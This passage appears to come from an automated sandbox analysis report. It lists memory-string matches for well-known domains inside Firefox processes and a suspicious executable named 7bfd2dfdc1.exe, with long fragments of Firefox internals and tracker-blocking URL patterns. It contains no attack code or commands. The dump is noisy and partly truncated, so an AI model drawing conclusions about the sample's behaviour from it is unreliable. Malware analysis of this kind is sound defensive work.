Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/browser.engagement.session_time_including_suspend://id.rambler.ru/rambler-id-helper/auth_events.js://securepubads.g.doubleclick.net/gampad/xml_vmap1*assemblePayloadWithMeasurements/measurements.keyedScalars<datareporting.policy.dataSubmissionPolicyBypassNotificationdatareporting.policy.dataSubmissionPolicyAcceptedVersionresource://gre/modules/ExtensionProcessScript.sys.mjsresource://gre/modules/ExtensionStorageIDB.sys.mjsextensions.userContextIsolation.defaults.restrictedassemblePayloadWithMeasurements/payloadObj.lateWrites<assemblePayloadWithMeasurements/payloadObj.slowSQL<assemblePayloadWithMeasurements/payloadObj.addonDetails<assemblePayloadWithMeasurements/measurements.scalars<assemblePayloadWithMeasurements/measurementsContainSocket<datareporting.policy.dataSubmissionPolicyNotifiedTimeassemblePayloadWithMeasurements/payloadObj.fileIOReports<resource://gre/modules/TelemetryControllerBase.sys.mjsassemblePayloadWithMeasurements/measurements.keyedHistograms<resource://gre/modules/addons/AddonSettings.sys.mjsassemblePayloadWithMeasurements/measurementsContainUtility<resource://gre/modules/ExtensionPermissions.sys.mjsresource://gre/modules/ExtensionScriptingStore.sys.mjsresource://gre/modules/ExtensionTelemetry.sys.mjsresource://gre/modules/LightweightThemeManager.sys.mjsresource://gre/modules/ServiceWorkerCleanUp.sys.mjsassemblePayloadWithMeasurements/measurementsContainGPU<toolkit.telemetry.shutdownPingSender.enabledFirstSessionresource://gre/modules/ExtensionStorageSync.sys.mjs_sendDailyPing - Failed to save the aborted session pingresource://gre/modules/addons/siteperms-addon-utils.sys.mjsresource://gre/modules/ExtensionPermissionMessages.sys.mjs_onEnvironmentChange - throttling; last change was assemblePayloadWithMeasurements/measurements.histograms<resource://gre/modules/ExtensionPreferencesManager.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2780213062.0000025B4954D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3449153827.0000000006494000.00000004.00000020.00020000.00000000.sdmp, 7bfd2dfdc1.exe, 00000014.00000002.3431370570.000000000212F000.00000004.00000020.00020000.00000000.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3450037766.0000000006A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account@ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account_searchModeIndicatorTitle equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comZycC[ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: permission-popup-permission-iconhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://devtools/shared/security/socket.js@mozilla.org/dom/slow-script-debug;1Got invalid request to save JSON datadevtools.performance.recording.ui-base-urlFailed to listen. Listener already attached.Failed to execute WebChannel callback:No callback set for this channel.browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools/client/framework/devtools^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?devtools.debugger.remote-websocketWebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=fileJSON Viewer's onSave failed in startPersistencedevtools/client/framework/devtools-browser{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Unable to start devtools server on @mozilla.org/network/protocol;1?name=defaultDevToolsStartup.jsm:handleDebuggerFlag^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$Failed to listen. Callback argument missing.browser.urlbar.dnsResolveFullyQualifiedNamesreleaseDistinctSystemPrincipalLoader@mozilla.org/uriloader/handler-service;1DevTools telemetry entry point failed: browser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)resource://devtools/server/devtools-server.jsdevtools.performance.popup.feature-flagresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/URIFixup.sys.mjshttp://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%s@mozilla.org/network/file-input-stream;1get FIXUP_FLAG_FORCE_ALTERNATE_URI{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/JSONFile.sys.mjsisDownloadsImprovementsAlreadyMigratedhttps://mail.inbox.lv/compose?to=%sextractScheme/fixupChangedProtocol<https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededCan't invoke URIFixup in the content processhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersionresource://gre/modules/FileUtils.sys.mjsScheme should be either http or https{c6cf88b7-452e-47eb-bdc9-86e3561648ef}http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/NetUtil.sys.mjs_finalizeInternal/this._finalizePromise<extension/default-theme@mozilla.org/extendedDataresource://gre/modules/JSONFile.sys.mjsMust have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1newChannel requires a single object argumentNon-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%s@mozilla
Source: firefox.exe, 0000001A.00000003.2672965218.000001E0762ED000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2673881166.000001E0762F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2811900560.0000025DAED80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program F equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2801668303.0000025B4FC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: userContextIdInternal.thumbnailsafeGetPendingSanitizationssanitizeInternal/<.promise<browser.taskbar.previews.enable@mozilla.org/windows-taskbar;1TRANSITION_REDIRECT_PERMANENTextractMatchingPrincipals/<removePendingSanitization/i<testExactPermanentPermissionrootDomainCookiePermissionshouldStartFrecencyRecalculationTRANSITION_REDIRECT_TEMPORARYmain/addons-manager-settingsbrowser.taskbar.previews.maxgetItemsToClearFromPrefBranch/<@mozilla.org/image/tools;1nsIPrivateBrowsingChannelnsITaskbarPreviewControllercheckIfCookiePermissionIsSet, but it doesn't already exist.xpinstall.signatures.requiredmaybeSanitizeSessionPrincipals/<removePermissionsWithAttributesDISABLE_THRESHOLD_PREF_NAMErecalculateOriginFrecencyStatsCACHE_EXPIRATION_TIME_PREF_NAMECookie denied or session!WEBEXT_BACKGROUND_PAGE_LOAD_MSsanitizeSessionPrincipal/<normandy-preference-rolloutextensions.experiments.enabledCookie check on principal: template-permission-popupUPDATE_REQUIREBUILTINCERTSprivacy.rejectForeign.allowListpictureinpicture@mozilla.org.xpiLANGPACKS_REQUIRE_SIGNINGwebcompat@mozilla.org.xpiextensions.sideloadScopesINSTALL_REQUIREBUILTINCERTSPREF_UPDATE_REQUIREBUILTINCERTSget contentBlockingEventsscreenshots@mozilla.org.xpimain/partitioning-exempt-urls_ensureFormattedHostVisibleSTRICT_ORIGIN_WHEN_CROSS_ORIGINURI_SAFE_FOR_UNTRUSTED_CONTENTALLOW_UNSANITIZED_CONTENTget _identityPermissionBoxformautofill@mozilla.org.xpimain/partitioning-exempt-urlsget _permissionGrantedIconget documentStoragePrincipalPREF_INSTALL_REQUIREBUILTINCERTSUPDATE_REQUIREBUILTINCERTSfirefox-compact-dark@mozilla.orgdefault-theme@mozilla.orgINSTALL_REQUIREBUILTINCERTSmain/partitioning-exempt-urlsmain/partitioning-exempt-urlshttps://account.bellmedia.caNO_REFERRER_WHEN_DOWNGRADEget shouldResistFingerprinting_ensureFormattedHostVisible/<get _defaultPermissionAnchor_createBlockedPopupIndicator_createPermissionClearButtononURLBarUserStartNavigationonCreatedNavigationTargetget _permissionReloadHinthasMicCamGracePeriodsSolelyReceived unexpected result type _getGeoLocationLastAccessgeo-access-indicator-itemblocked-permissions-containerpermission-popup-mainView[anchorfor="3rdPartyStorage"]permission-popup-permission-listpermission-popup-permission-itempermissions.remove.tooltip_permissionPopupPopupMainViewpermission-popup-geo-containerpermission-popup-containerpermission-popup-menulist_removePermPersistentAllowget _permissionPopupMainViewclearPermissionsAndStopSharingblocked-popup-indicator-itembrowser/sitePermissions.ftl_createPermissionClearButton/<_getGeoLocationLastAccess/<_createBlockedPopupIndicator/<urlbar-user-start-navigation_createWebRTCPermissionItemremoveContentClickListenerpermission-popup-permission-iconhttps://www.youtube.com/accountCouldn't create URI from _downloadDocument/</xhr.onloadonReferenceFragmentUpdatedPARSE_ERROR_TOO_MANY_ELEMENTS_convertPlainTextDocumentCS_removeLogEventListenerReader mode disabled for URIError accessing host name: CS_removeLogEventListener/index<resource://gre/update.loc
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: webCOOP+COEP=https://youtube.comhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: webCOOP+COEP=https://youtube.comhttps://www.youtube.com/accountexperimental.searchButton equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2777080126.0000025B4922C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B489D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B4898E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754391276.0000025B45A23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com5 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740032193.000000BC2C6BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com:443: equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZycC[ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2769652776.0000025B4883D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B488A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4ACED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xO^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B49738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744858280.0000025B44445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B4670F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2801668303.0000025B4FC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
